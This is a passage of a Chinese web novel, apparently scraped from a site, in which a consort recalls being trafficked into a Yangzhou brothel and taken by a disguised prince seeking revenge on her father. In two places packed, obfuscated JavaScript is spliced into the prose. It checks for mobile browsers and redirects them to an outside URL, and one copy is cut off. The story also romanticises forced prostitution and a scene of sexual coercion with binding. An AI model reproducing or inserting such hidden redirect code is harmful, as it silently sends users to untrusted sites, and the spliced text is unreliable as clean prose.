宋美人跪在淑妃面前,淑妃冷着脸道:“宋美人,你身边之人本宫都审过了,证实的确是你扇了温昭太子妃一巴掌后,她才落水的,你有何话说?” 宋美人辩解道:“娘娘,妾身的确扇了她一巴掌,可妾身并未推她下水,妾身的确不喜欢她,可也不会傻到在大庭广众之下去谋害她的性命,是那个贱人见不得我好,故意陷害我。” 淑妃觉得宋美人说的有道理,可就凭这一句,的确没有很大的说服力,毕竟她是真的动手了。 那姜秾身娇体弱,一个巴掌将她扇到湖里,也是极有可能的。 淑妃叹了口气,“你说这些本宫信,可皇上不一定信你。” 宋美人跪行几步来到淑妃面前,“娘娘救救我,只要您救我,我什么事都愿意帮娘娘做。” 淑妃见她是个识趣的,嘴唇弯了弯,“好,本宫就帮你一会,你先在宫里待上几日,等皇上气消了,本宫再去帮你求情。” 从春熙宫出来,碧珠便同自家主子说道:“娘娘,若那温昭太子妃这般做当真是为了陷害宋美人,可见她心思歹毒,这样的人,留不得。” 淑妃神色淡定的笑了笑,“急什么,就算要收拾她,咱们也不能自个动手。” ** 姜秾回到撷芳殿后,便昏昏沉沉的睡下了,次日一早醒来,便发现脑袋重的跟灌铅一般,姜秾喊了两句,“匀檀,匀檀”,匀檀匆匆走进来,打起帐子一看,发现姜浓双颊绯红,她伸手在姜秾额头上轻轻一触,被烫的收回手,“姑娘,您身子在发热,要不奴婢去叫太医过来给您瞧瞧?” 匀檀正要起身,被姜秾一把拉住,“别去。” 她的声音沙哑,带着一丝丝的疲惫,匀檀着急道:“姑娘,您都病成这样了,若是不看太医,烧坏脑子了怎么办?” “匀檀,我如今病的越重越好。”说着,她朝匀檀露出微微笑意,匀檀瞬间明白过来,可仔细一想,又觉得自家娘娘可怜,匀檀满心酸涩,“娘娘,就算您不想侍寝,咱们也可以想别的法子,犯不着搭上自己的身子。” 别的法子若是管用,姜秾早就用上了,可皇帝不肯放过她,眼下唯有称病是最好的,至少上次她病了一月,他便一整个月都没碰她,如今她也只能故技重施。 姜秾道:“往后所有的药,都拿去倒掉。”这场病越久越好,只要病着,她便不用面对皇帝。 匀檀没有马上答 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金嬷嬷将药放在床头的小几上,“老奴没有保护好娘娘,被皇上责罚了。” 这金嬷嬷虽然是皇帝派来的,说话直率不好听,可她的心却不坏,这段日子也是尽心照顾自己,姜秾道:“你既然有伤在身,我这边就不用你照顾了,匀檀,去给金嬷嬷上药。” 匀檀赶紧上前道:“嬷嬷,走吧,我给你上药。” 金嬷嬷见姜秾眼底的关切不似作假,她脸色缓和了些许,“那娘娘趁热将药喝了。” “本宫知道,你先去吧。” 等匀檀和金嬷嬷一走,姜秾掀开被褥从床上起来,端起药碗走到窗边上,将一整药全部倒入花盆里。 她本就发热了,又不肯吃药,到了下午,越发的严重,浑身滚烫,躺在床上昏昏沉沉的睡过去了。 她竟然梦到三年前,在扬州发生之事。 那年祖母过世,她扶灵南下,途经扬时,她因水土不服病倒了,无奈之下,叔父只能让她先待在扬州养病,等人病好了再来余杭与他们汇合。 她在扬州养了几日,身子渐好,一日出门散心,因被一个老太太诓骗进了偏僻小巷,被几个地皮流氓打晕了卖到花楼里,一睁开眼睛,便发现自己躺在满是脂粉香的房间里。 站在她面前的鸨母如同打量货品一般对她评头论足,“我活了这么大的岁数,还是头一次看到这种极品货色,这胸,这臀,还有这张绝色的脸,哪样不叫男人发疯呢。” 彼时她还不知道身在何处,只觉得鸨母的话让她听起来很不舒服,神色茫然的问,“这是哪里?” 鸨母笑了笑,“姑娘,这里扬州的销金窟,花楼鸣玉坊。” 她一惊,猛地从床上坐起来,“我要离开这里!” 谁知还没下床就被鸨母给推回去,她摔倒在床上,只见鸨母瞬间变脸,冷冷的盯着她,“姑娘,咱们这儿可不是你想来就来,想走就走的,我花了三百两买下你,从今儿开始,你就给我好好接客!” 9. 第 9 章 鸨母名叫徐妈妈,是这鸣玉坊的老板,鸣玉坊是扬州最大的花楼,姜秾来扬州时便有所耳闻,里面的姑娘卖艺不卖身,是达官贵族,文人墨客最为向往之处。 可她是丞相千金,怎么能留在这种地方? 姜秾严肃的说道:“我是良家女,上京人士,不是出来卖的,赶紧放我走,不然你们鸣玉坊迟早会惹上麻烦。” 然而,她的这点威胁对鸨母来说,根本不起作用。 徐妈妈冷冷一笑,似乎根本就没将她放在眼里,“少吓唬我,上京来的又如何?你以为我会怕你,在这扬州城里,只要你不是官家女眷,我徐妈妈就没有得罪不起的。” 见姜秾似乎不服气,徐妈妈又警告她道:“你最好给我安安分分的,要是想逃,我有的是法子来收拾你!” 这时,站在徐妈妈身后的几个彪形大汉走上前来,一个个用猥琐的眼睛盯着她瞧。 姜秾瞬间没了底气,她眼珠转了转,心思活络起来。 她没想到这鸣玉坊背地里居然做这些见不得人的勾当,暗暗咬牙,所谓好看不吃眼前亏,她现在深陷囹圄,若是和这些人对着干,也只有苦头吃,还不如先顺从些,等她们放松警惕,再找机会逃跑不迟。 姜秾马上转变态度,她从床上坐起身来,冲着鸨母讪讪一笑,“妈妈,好说好说,只要你不让我卖身,我都依你便是。” 徐妈妈还以为她是贞洁烈女,要费一番功夫才能让对方屈服,没想到她这么识时务,徐妈妈当即就笑了,“你若不想卖身,倒也不是不行,需得有拿的出手的才艺招待客人才行。” 像姜秾这样的货色,她还指望能靠着她大赚一笔,自然不会随便将她卖身,不过若是有人能出高价,那就不好说了。 姜秾眼波流转,妩媚一笑,“才艺自然是有的。”她好歹也是相府千金,要才艺还不简单。 徐妈妈身后几个大汉见她露出笑脸,眼睛都看直了,半天挪不开。 其实长成姜秾这般模样,不需什么才艺,便是以面纱遮脸,露出一对灿若星辰的眸子,冲着那些男人笑一笑,便能将男人的魂也勾去。 徐妈妈叫她改名为“予欢”。 甫一路面,便震惊楼里的恩客们,短短半个月,她便取代鸣玉坊的花魁寻梦成为了头牌,那些男人为了见她一面一掷千金,徐妈妈赚的盆满钵满。 可姜秾却头疼起来,随着上一次偷偷送信出去被徐妈妈派人截获之后,徐妈妈将她看的更紧,平日里就安排两个丫鬟守着她,她不仅没自由,连藏私房钱的机会都没有,更不用说跟外面的人联络。 正当她发愁之时,徐妈妈派人来传唤她过去,她一走出门,就看到寻梦哭着从房里走出来,姜秾还没问明白怎么回事,徐妈妈便走上前来,“这里头的客人极为挑剔,嫌寻梦的琴弹的不够好,将她赶出来,你进去给他弹奏一曲。” 姜秾笑了,“徐妈妈,寻梦的琴艺在我之上,你不会不知道吧?她都哄不好,遑论是我。” 姜秾自由学琴棋书画,其他几样她都学的不错,唯独弹琴,缺少天赋,即便多年勤学苦练也只有中等水平,这寻梦从前也是官家女,被抄家了这才流落风尘,一身才艺非常拿得出手。 徐妈妈望着她那双仿佛会说话的眼睛,她轻轻一笑道:“那可未必,寻梦过于孤傲清高,而你是雅俗共赏的,她做不到的事情,你未必做不到。” 见徐妈妈非常坚决,姜秾只得答应,进去后,她隔着屏风坐在琴案后头,只见屏风那头坐着一个高大挺拔的身影,即便看不清样貌,也可见其锋芒。 姜秾神色微凛,用柔软娇嫩的嗓音问道:“奴家予欢来给公子弹琴,请问公子想听什么?” “你擅长什么便弹奏什么。”男人的声音甚是好听,如金玉相击,却带着一股清冷疏离之感,似乎不太好相予。 姜秾道:“那奴家就给公子弹奏一曲《春晓吟》。” 见对方没有反对,姜秾轻轻拨动琴弦。 不过弹了片刻,里头便出声打断,他语带讥讽道:“半曲不到,便弹错了四个音,这就是你们鸣玉坊头牌的水平?你比刚才那位更差,姑娘这是要砸了鸣玉坊的招牌么?” 姜秾本就不喜欢来青楼厮混的男人,如今见对方一副好为人师的样子,越发不高兴,她没憋住说道:“公子,鸣玉坊的姑娘各有所长,这琴本身便不是奴家擅长的,纵然弹错,也在情理之中,另外公子来花楼玩乐,心情应当放松愉悦,何必那么较真。” 容珣隔着屏风看到一个窈窕的身影,只听对方吐气如兰,声音软糯动听,明明自己弹错了,还如此理直气壮。 容珣气笑了,“我花了大价钱,是让你们好生伺候,不是让你来训斥我的,叫你们的妈妈过来,我倒是要好生问一问,这是不是你们鸣玉坊的待客之道。” 一听到容珣要叫徐妈妈,姜秾顿时就慌了,要是被那老虔婆知道了,还不得扒她一层皮。 姜秾赶紧站起来求情道:“公子,奴家错了,您可千万不能叫妈妈,要是叫妈妈知道了,不仅要克扣我的月钱,还会将我吊起来打一顿,最后丢在柴房里自生自灭,奴家的父母女只有我一个女儿,若是知道奴家死了,定然活不成了,求您开开恩,饶了奴家吧。” 容珣听她说的煞有介事的,还以为是真的,想到她小小年纪便出来卖艺,想来也是生活不易,容珣不欲在计较,倒是一旁陪同的李文朝不可罢休。 李文朝道:“予欢姑娘,赔罪得有赔罪的诚意,你若是能同我们喝酒,这件事情就这么算了。” 姜秾这才注意到里面竟然有两个人,她骑虎难下,不得不为自己逞强付出代价。 她无奈的走向屏风里面,对着二人盈盈下拜,“好,喝酒就喝酒。” 见她如此痛快,容珣的目光朝她看过去,只见姜秾穿着粉色齐胸襦裙,双手挽着白色披帛,脸上带着面纱,只露出一双清澈璀璨的眸子,听着声音年纪并不大,可身段却妙曼婀娜,尤其是腰,细软似绸缎一般。 姜秾正好对上容珣的视线,之前瞧着身形,她还以为是个容貌俊美的男人,可眼前这张脸勉强算得上周正而已,不过他那对眼睛,却很是特别,如同鹰隼般锐利,仿佛能穿透人心。 李文朝她认识,是扬州首富之子,可这个人又是谁,她明明没见过,可他却给自己一种似曾相识之感。 李文朝打量了姜秾一眼,饶有兴致的勾了勾唇,用眼神示意她,“予欢姑娘,请吧。” 姜秾端过桌上的一杯酒,纤细的指掀起面纱,仰头喝下去。 她的动作很快,但容珣还是看到她藏在面纱下方嫣红饱满的唇瓣。 姜秾喝的太快呛到了,她咳了两声,将手里的酒盏放下,“两位公子,我喝完了,这下应该可以了吧?” 李文朝合拢折扇,伸手朝酒壶一指,“我可说指让你喝一杯,我是让你喝这一壶。” 姜秾气的差点将酒壶摔出去,一壶?他怎么不说要她的命! “李公子,一壶奴家着实喝不下,您这不是为难奴家吗?” 她咬着唇,声音糯糯的,像在撒娇又像是委屈,可怜兮兮的看着李文朝,眼睛里含着水光,看的李文朝心头发痒,李文朝快速移开视线,暗想,这小娘们可真有意思,他自己倒是不缺女人,但是容珣不一样,传闻此人不近女色,正好借机会食堂一下,他目光转了转,心里忽然有了个主意。 李文朝道:“你不想喝也不是不行,不过你得将我这兄弟伺候好。”说着,他使了个坏心眼,伸手推了姜秾一把,姜秾没站稳,惊呼一声,结结实实的倒在容珣的身上。 容珣低头正好看到她的面纱从耳边掉落下来,露出一张花明柳媚般的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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空气里有浓郁的冷香弥漫着。 居然也不是那么难闻。 姜秾回头一看,徐妈妈将东西一下下涂抹在她光裸的背部,“这是什么?” 徐妈妈道:“这是凝香露,价值千金,用上百种花露炼制出来的,也只有头牌□□时会用上,男人只要闻到这个香气,便会欲罢不能。” 姜秾怎么也想不到,自己堂堂丞相千金,居然会如货品一般,被这个老女人卖出去,她眼睛发红,愤恨咬牙道:“你说过不让我卖身的,为何出尔反尔?” 徐妈妈没将她这点脾气看在眼里,一边涂一边摩挲着她细软的肌肤,“丫头,就算你是良家女,被卖到这种烟花之地,出去了谁还敢娶你,你能被知府的公子□□是你的福气,你是身在福中不知福,旁人想要这样的机会还碰不上呢,你若想飞上枝头,今天夜里便要使劲浑身解数,好好抓住他,若是能让他动心将你收了,当个小妾或者外室,你肚子要是争气,再生个一男半女,往后还怕没好日子过么?” 姜秾忍不住冷笑,她连皇子都看不上,区区一个知府公子又算什么。 姜秾愤怒至极,咬牙道:“徐妈妈,你做了这等伤天害理之事,你迟早会遭报应的!” 徐妈妈见她竟然诅咒自己,气的狠狠的掐在她的腰上,“小贱货,别以为我不知道你跟那姓容的整日眉来眼去,我不把你卖了,难道还便宜他不成!” 姜秾疼的掉下也眼泪,等徐妈妈涂完,便命人给她穿上衣裳,又派两人守在门口,将她看牢。 姜秾想逃,她打开窗户,看着数丈高的地面,又不得不放弃,正当她无计可施的时候,寻梦推开门走进来。 寻梦秀雅娇艳的脸上带着怒容,“予欢,我跟你无冤无仇,你为何要抢我的男人?” 10. 第 10 章 第十章 姜秾只顾着着急,差点就忘了何靖原先是寻梦的恩客,因这几年他时常光顾寻梦那儿,寻梦竟然对他有了感情,如今眼看自己的金主要被姜秾夺走,她怒气冲冲就找上门来了。 姜秾见寻梦如此生气,显然将何靖看得十分重要。 她赶紧解释道:“寻梦,你不要误会,这件事情跟我真没什么关系,我也是受害者,我根本就不想让何靖□□,是妈妈她逼我的。” 寻梦见她的神色不似作假,但还是有些不确定,“何靖是知府的儿子,你对他难道就没一点心动?” 姜秾冷笑,“甲之蜜糖乙之砒霜,我可不喜欢她。” 见寻梦如此紧张何靖,姜秾眼珠转了转,“寻梦姑娘,不如咱们来作何交易如何?”她不知道寻梦在乎何靖是看上他的权势财富,还是看上他的人了,不过不重要,只要能帮自己脱身就行。 寻梦目光顿了顿,“什么交易?” 姜秾眼珠一转道:“既然你这么在乎何靖,不如我们交换一下,我把去何府的机会让给你,而你只需要送我离开这里。” 寻梦笑了,“予欢姑娘,你这个算盘打的可真响,我若是偷偷将你送出去,徐妈妈知道了还不得扒了我的皮?” 姜秾淡淡挑眉,“你怕什么,你要是真抓住何公子的心,徐妈妈又怎么敢动你?” 寻梦到底是心动了,和姜秾换了衣裳,因平日两人身形相似,又总是戴着面纱,所有姜秾穿着寻梦的衣裳从房里出来时,外头看守的人并未起疑,姜秾原本想趁人不注意之时离开这里,谁知路走到一半,便看到徐妈妈迎面走来。 姜秾一慌,若是她跟徐妈妈打了照面,必定会被对方认出来,她当即转身,趁着徐妈妈还没看过来,赶紧跑上楼梯。 她找到平时容珣常定的房间,咬咬牙推门进去。 隔着一扇屏风,她看到里头坐着个高大的身影,是容珣,他竟然来了! 姜秾惊讶之余,心里竟然也生出几分欢喜。 还没开口,她便听到男人不紧不慢的说道:“竟这般心急,还未传你便来了。” 姜秾也没多想为何男人明明说今日要去谈生意却来了这里,她顾不得许多,匆匆走向他,急切的抓住容珣的衣袖道:“容公子,你救救奴家吧。” 容珣抬头看着她,只见姜秾今日穿着素雅,这分明是鸣玉坊寻梦的装扮,容珣诧异道:“怎么了?” 许是和容珣处的时间久了,姜秾下意识的就将他当成了倾诉对象,她委屈上涌,“扬州知府之子想要强占我。” 容珣脸上没有丝毫波澜,仿佛根本不在乎,“姑娘的身份能攀上知府之子,是姑娘的荣幸,姑娘该高兴才是。” 姜秾满心期待,没想到等来的却是这句话,这几日相处的场景一幕幕从脑海里闪过,容珣每日都点她,两人私底下相处,虽有亲昵之举,但他始终没有逾矩,哪怕他身体有了变化,也会强行忍下去。 她瞬间清醒过来,男人对她并没有多余的感情,也是了,他来欢场买笑,不过是逢场作戏,又怎么会当真?更不会对她这个“风尘女子”心生怜悯,为了救她去得罪何靖。 可是她现在别无选择,除了容珣,她真的想不到谁还会帮她。 就算他不愿意帮她,她也要想办法让他帮忙。 姜秾深情款款的说道:“奴家自从认识公子开始,心里便只有公子一人,若要奴家去伺候别的男人,还不如死了算了。” 说着,她的眼眶也忍不住红了。 容珣见她眼底有水光,也不知是真情还是假意,只是淡淡一哂,“姑娘,咱们只是萍水相逢,你不必当真,珣也不想因为自身之故,耽误姑娘的前程。” 扬州知府贪赃枉法,黑白通吃,是这扬州的地头蛇,他是来扬州办事的,犯不着因为一个女人惹上不该有的麻烦。 “容公子……” “不必再说,姑娘今日若是不方便接客,便换其他人过来。” “你……” 见容珣已转过身去,姜秾看着他冷漠的背影,气的抓狂。 这个男人当真是铁石心肠。 可她也不是这么容易能被打发的。 与其被何靖玷污,她还不如放手一搏。 姜秾咬了咬红唇,伸手解开自己的衣带。 容珣听到身后还未有动静,刚要回头,一具温软馨香的身体贴上来,姜秾的双臂缠上容珣劲窄的腰身,容珣低头看了眼她雪白的玉臂,呼吸一紧,“予欢姑娘,你这是做什么?” 姜秾道:“奴家只爱公子一人,既然公子不肯救奴家,奴家也不强求,奴家只想将身子给公子,也好过恶人糟蹋。” 容珣凌厉的喉结在皮肤底下滑动,他深深一吸道:“你这样做没用的。” 说着,他低头去扳姜秾的手臂,但姜秾双手箍的紧紧的,不肯松开,她柔软的身子蛇一般绕到他身前,容珣微垂着眸子,只见她满头青丝如瀑布般垂落下来,双颊绯红,眼波流转,眼尾带着撩人的媚态。 容珣呼吸发紧,还没来得及推开她,姜秾便踮起脚尖,双手搂住他的脖子吻住他的薄唇。 容珣往后退了一步,身体靠在墙上,他屏住呼吸,任由少女没有章法的吻着自己的唇。 她先是贴着他的唇瓣亲了亲,然后想要去撬他的牙齿,却发现他的牙齿紧咬,根本不允许自己得逞。 自从进入鸣玉坊之后,姜秾在徐妈妈的悉心教导下,学了不少取悦男人的本事,见他始终不肯松口,她放弃他的唇,顺着他的下颌一路吻到他的喉结处,他的喉结嶙峋凸起,硬的像块石头,姜秾张开唇,用力咬下去。 容珣发出一声闷哼,本欲推开她的手,轻轻搭上她的腰间。 隔着一层布料,姜秾已经感觉到他的变化,她必须在加把劲,她的手灵活的钻进他的衣襟里。 容珣浑身都被她点燃了,见姜秾的手犹自在撩拨他,容珣放在她腰间的手猛地收紧。 “你根本就不了解我的为人,难道就没有想过,或许我比何靖还要坏?” 姜秾眼神顿了顿,她也觉得奇怪,论样貌容珣这张普通的脸还不如何靖那个纨绔,可每回她坐在他身上,被淡淡的伽楠香包裹,他虽然极力掩饰口音,却还让她听出了一丝上京人的腔调,兴许就是因为这些,她觉得格外安心。 她管不了这么多了,她只相信自己的直觉,他不是坏人。 姜秾有些急切的吻他的脖子,声音绵软含糊,“就算你是坏人,我也不后悔。” 容珣的掌心已经冒汗,他被撩的口干舌燥,心理防线在她的一个又一个生涩的吻落在身上时,慢慢的溃败。 她的身体真软,像一团热奶酪,仿佛轻轻用力就会化掉。 当她朝自己扑上来时,她身上的香气便丝丝缕缕的往鼻孔里钻,那股香气冷且浓郁,容珣心口似团着一团火,在少女用湿漉漉的眼眸看来时,他浑身的血液都沸腾起来了。 若是她这个样子,被何靖按在床上……容珣眼底露出一丝冷意,他的手按住她的后脑勺,“既然如此,那便如你所愿。” 容珣将她打横抱起放在床上,他粗糙指腹经过的地方,泛起淡淡的红色,姜秾的身子轻轻的抖着,像晨风里乱颤的芙蓉花。 容珣捏着她的下巴,“记住,从今天开始,你是我的人。” 姜秾睫毛颤了颤,轻轻地“嗯”了一声,她岂能不知自己是从一个火坑跳到另一个火坑,也许是自己命中有此劫,等靠着容珣逃离这个是非之地,再想办法跟他说清楚,大不了到时写信给爹爹,让他送一笔银子给容珣,就当是报酬好了。 就在容珣的吻落下来时,“碰”的一声,客房的门被撞开了,徐妈妈带着两个护院闯进来,容珣用被子将姜秾迅速裹住,然后站起身来。 徐妈妈愤怒的声音传来,“予欢,我知道你在里面,你是自己出来,还是我派人来抓你?” 姜秾抱着被子瑟缩在角落里,眼巴巴的看着容珣,容珣冷笑一声,对着屏风外的几个人喊道:“她是我的人,我要将她带走,徐妈妈开个价便是!” 徐妈妈压根就没将容珣放在眼里,她冷笑道:“容公子,我知道你不缺钱,但是予欢是知府公子指定要的人,我若是不将她送过去,我这明玉坊便完蛋了,我劝你还是不要多管闲事,你想要女人,我另外送你一个便是。” “那就是没得说了。”容珣眼角冷光一闪,对着窗外吹了个口哨,一连四个黑衣蒙面人出现在房间里。 徐妈妈见容珣带了人过来,当即也不客气,给护院使了个眼色,一个护院抽出长剑,劈开屏风,两方人马就这么打起来,然而徐妈妈的人根本不是对手,三两下就被打倒在地,而徐妈妈也被刀架在脖子上。 容珣逼着徐妈妈拿出姜秾的卖身契,徐妈妈没办法,只得将东西给他。 直到从鸣玉坊出来,姜秾仍然感觉像是做了一场梦一般。 她猜到容珣非常人,可没想到他如此厉害,手底下的人厉害程度堪比大内高手,他明明是上京口音却又极力掩饰,他到底是什么来历呢? 还没等姜秾将这些事情想明白,她就被带到容珣的院子里,容珣将她安置在西厢后,转身要走,姜秾叫住他,“容公子……” 容珣回过头,目光看着头发散乱,脸上挂着忧虑的少女,“等我解决外面的事情,再来看你。” “那何靖不是好惹的,公子可想好应对之策了?” 毕竟容珣救过她,她关心一句,也是应当的,姜秾这样想。 容珣淡淡一笑,“还没有,不过要对付他,何其简单。” 他也只能跟姜秾透露这么多,其他的他也不方便说。 姜秾便没有多问,到第二天下午,姜秾听说这件事情便解决了,何靖带着人找上门来,容珣也不知道同他说了什么,何靖趾高气昂的来,又灰溜溜的离开,后来便再也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234296|166015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有上门找过麻烦。 容珣他真是个手眼通天的人物,姜秾对他的真实身份更加好奇了。 ** 正房内,容珣刚打发完何靖,宋有祥关上房门,回头看着容珣道:“主上,您明知道予欢是姜徵的女儿,与她逢场作戏,玩弄玩弄便罢了,为何还要救她,莫非是对她动了真感情?” 他本是个太监,因服了变声的药,声音听起来与正常男人倒是没什么两样。 为了打发这个何靖,主上直接拿出了何家这些年犯罪的证据,威胁何靖若是他要硬抢予欢,他在上京的部下,便会将这罪证呈到皇帝面前,何靖被吓破了胆,自然不敢再造次,可这也间接暴露了主上的身份,只怕会惹上更大的麻烦。 容珣如今的身份是北境之王,他的真名叫宗焱,他曾是姜徵的学生,年少时曾与少女有几面之缘,她生的酷似姜徵,因此他在花楼看到她的脸就认出来了。 姜徵当年诬陷他跟母妃谋反,害他们母子流落北境,两人之间有血海深仇。 得知姜秾流落花楼的原因后,他觉得这是姜徵的报应。 他那日去花楼,本就是和李文朝谈生意,他在北境待了七八年,无时无刻不想杀回上京,一雪前耻,可随着北境军队扩大,兵器,粮食,钱财都陷入了短缺的困境,他此番南下,便是为解决这些事情而来,李家是扬州首富,表面上做的是茶叶,丝绸这些买卖,暗中经营的却是盐铁,钱庄,李家与他做买卖刚好合适,可李文朝担心他是朝廷派来的人,一直多番试探。 那日他将予欢推到他怀里,就是为了试探他,是否是那位传闻中不近女色的朝廷钦差。 所以为了打消李文朝的疑虑,他每日去花楼,找予欢伺候。 没想到这一来二去,倒是让予欢将他当成了救命稻草。 容珣道:“你也知道她是姜徵唯一的女儿,也必然是姜徵的软肋,咱们把她攥在手心里,不怕姜徵不低头。” 一开始他没这个打算,但予欢主动送上门来,这个便宜他不占白不占。 宋有祥一听,觉得有道理,“好,奴才明白了。” 夜里,姜秾准备沐浴之时,一个丫鬟走进来,手里捧着衣裳,衣裳上还放着一个小瓶子。 丫鬟对着姜秾行了一礼,“姑娘,奴婢雪晴,是公子派来伺候姑娘的。” 姜秾倒是没多想,直到沐浴完毕,丫鬟请她躺在床上,为她抹凝香露之时,顿时警觉起来,“这香从何处来?” 雪晴道:“这是公子特地命人从鸣玉坊买来的,公子喜欢这香气。” 姜秾揪着床单问,“你们家公子想干什么?” 雪晴冷笑,“姑娘这不是明知故问么?你自己对公子投怀送抱,被公子瞧见了身子,就是公子的女人,你说公子想要做什么?” 姜秾咬牙,在鸣玉坊的所作所为,她皆是出于无奈。 说她过河拆桥也罢,她绝不会让一个身份来历不明之人,夺走自己的清白。 一会他来后,她必然跟他说清楚,容珣并非那种蛮不讲理之人,他想她会理解她的。 雪晴走后,姜秾坐在床上等了一会儿,容珣过来了。 整个屋内,都是凝香露的气味,容珣看着姜秾穿着白色的里衣坐在床上,乌发随意的披散下来,没了浓妆艳抹,露出一张白皙清透的脸,如同雨后的玉兰一般皎然。 容珣走到她身边坐下,不由分说的搂住她的身体,凑到她的颈边闻了闻。 他可能是太久没碰过女人了,每次靠近她,身体总有种无法克制的冲动。 “真香。”容珣喃喃一声,将姜秾推倒在床上。 姜秾还未开口,就被压下来的容珣堵住唇,深深的吻住。 一番热吻结束,姜秾的唇已经肿了,看着男人要解她的衣裳带子,姜秾心中一急,“容公子,我还没准备好,能不能再等等?” 容珣动作一顿,见她神色紧张,他眼神一冷,“没准备好,就对我投怀送抱?予欢,你在耍我?” 姜秾赶紧解释,“不是的,公子救了奴家,奴家原本是该以身相许的,可奴家害怕,公子迟早会弃我而去,届时,奴家又会陷入孤立无援的处境,还不照样任人宰割。” 容珣没想到她是担心这个,脸色稍缓道:“你不必担心,你如今是本公子的女人,等我离开扬州城,自然会带你离开这里。” 在花楼的时候,姜秾曾听他提起过,他是北境人士,南下做些生意。 自己若真跟了他,往后还不得随他去北境,那她爹娘怎么办? 不行,绝对不行。 姜秾只好又找借口道:“公子,奴家毕竟是花楼出身,只会影响公子的名声,不如让奴家给公子当丫鬟来常尝还公子的恩情。” 容珣见她推三阻四的,明显是要反悔,他捏着她的下巴冷笑,“本公子不缺丫鬟,收起你那点小聪明,到了本公子的床上,你想后悔也来不及了!” 11. 第 11 章 姜秾见容珣一脸势在必得的神色,只觉得可怕,她下意识的去推开容珣,却被容珣抓住双手,扯过腰带捆绑在床上。 容珣解开她的衣裳,贪婪的吸吮她身上的香气,粗糙的手指摩挲着她的肌肤。 一股酥绵感席卷全身,姜秾忍不住蜷了蜷脚指。 容珣的吻蔓延至隐秘处,姜秾身子禁不住的颤起来。 她掐着手心找回一丝理智,“容公子,对不起,我承认我在鸣玉坊那样做,只是为了让你救我,并不是真心想要同你在一起,你饶了我吧,我是家里唯一的女儿,我爹在上京有些权势,你若是将来想做官,我可让爹爹举荐你,或者,你要钱也可以,只需要给我爹写一封信,要多少我爹都会给你的。” 她不说还好,提到姜徵,容珣心里的火气更盛,“既然你是家里唯一的女儿,只要得到你,你家里的一切不都是我的?” 姜秾觉得自己失算了。 这个男人软硬不吃,他要定自己的身子,根本不会轻易松口。 她更不该提起爹爹,让男人对她的家产生出觊觎之心。 容珣见她这般黔驴技穷的样子,只觉得可笑,那个老狐狸的女儿果然信不得,她跟他爹一样狡猾,诡计多端。 容珣眼底烧起仇恨的怒火,她越是不让他碰她,他偏要碰,将来他还要她挺着大肚子随他去见姜徵。 姜徵当年要对他斩草除根,若是知道自己的女儿怀上了他的孩子,会不会直接被气死? 像是报复,容珣挑开她肚兜上的绳子。 当容珣要突破最后一步时,听到耳边女子发出低低的抽泣声。 容珣仿佛被一盆冷水浇下,浑身欲望冷却。 一抬头发现眼泪顺着她的鬓角滑下,睫毛上还挂着了泪珠,眼睛朦胧似春日雨后的湖。 容珣心一颤。 “你哭什么?” 姜秾说起伤心事,眼泪再次涌上来,“公子,实不相瞒,我祖母刚死不久,我本该为祖母守丧,可如今……” 却在这里和男人做这种苟且之事。 姜老夫人的确是在这个月过世的,这点她倒是没有撒谎。 “我打小被祖母宠着长大,祖母死之前还命人给我做了一套首饰,说恐不能看着我出嫁,要将首饰留给我做嫁妆,她走的太突然了,我都还未来得及尽孝……” 她抽抽搭搭的说完后,眼泪鼻涕糊了一脸。 容珣已经没了心情了,在他看来姜徵坏事做尽,哪怕姜家人都死绝了都没关系。 可看着身下的姜秾哭的浑身颤抖,她柔弱,狼狈,像一株风雨中的菟丝花,带着破碎的美感。 容珣明知道这或许是她的缓兵之计,可他到底还是没下手,“那你需要多久?” 姜秾见容珣终于松口,眼睛亮起来,“请公子给我两个月,可好?” 容珣冷冷勾唇,“好,就两个月,等两个月一过,你就好生伺候本公子。”他还不至于连两个月都等不及。 容珣一走,姜秾紧绷的脊背垮下来,她浑身凌乱的坐在床上。 刚才她的眼泪并不是假的,祖母离世,她的确很伤心,在鸣玉坊的那段时日,她每每想到,都难过不已,可她不敢在人前哭,只有夜深人静的时候,她才敢偷偷的掉眼泪。 如今将事情倾诉出来,她心里反而舒服了不少。 她有两个月的时间,在这两个月里,她必须想办法逃离容珣身边,当时留在扬州时,三叔留下几个人伺候她,其中就有她的贴她可以先想办法和匀檀取得联络。 接下来几天,两人都相安无事,李文朝见容珣为了姜秾竟然不惜得罪知府,终于可以确定他不是上京来的那位钦差,便放心的跟他做起生意来,李文朝还亲自带着容珣去参观自己家的铁矿。 容珣一走就是几日,姜秾以为自己的机会来了,便偷偷写了一封信给匀檀,买通一个卖花的小童送过去,可她不知道自己的一举一动都在容珣的监视范围内,小童拿着信走到拐角处就被雪晴拦住。 隔天,这封信就到了容珣的手里。 容珣看完信,冷笑着捏成齑粉,让雪晴去将姜秾叫过来。 姜秾看到他之后,还装作什么也没发生一般,笑着迎上前,“公子,你这几天去哪里了?怎么这么久才回来?” 容珣顺势就搂过她的细腰,将她带入怀里,“怎么了?想我了?” 姜秾不知该说什么好,她对容珣的感觉很奇怪,她时常戒备他,也时常会念起他的好,甚至她对他有种莫名的亲切感。 仿佛认识一般。 她知道他的秘密,他这张平凡的脸并非他的真容,他脸上有一张面具。 这也是那日她在鸣玉坊亲吻他的时候发现的。 反正,想要稳住男人,她总得给他一点甜头吃,她靠在他的肩上,“的确是有些想念呢,有一首曲子,欢儿弹的不好,请公子指教。” 容珣见她面不改色的撒谎,暗自冷笑,脸上却不动声色,“今夜不弹琴,本公子乏了,你来伺候本公子歇息。” 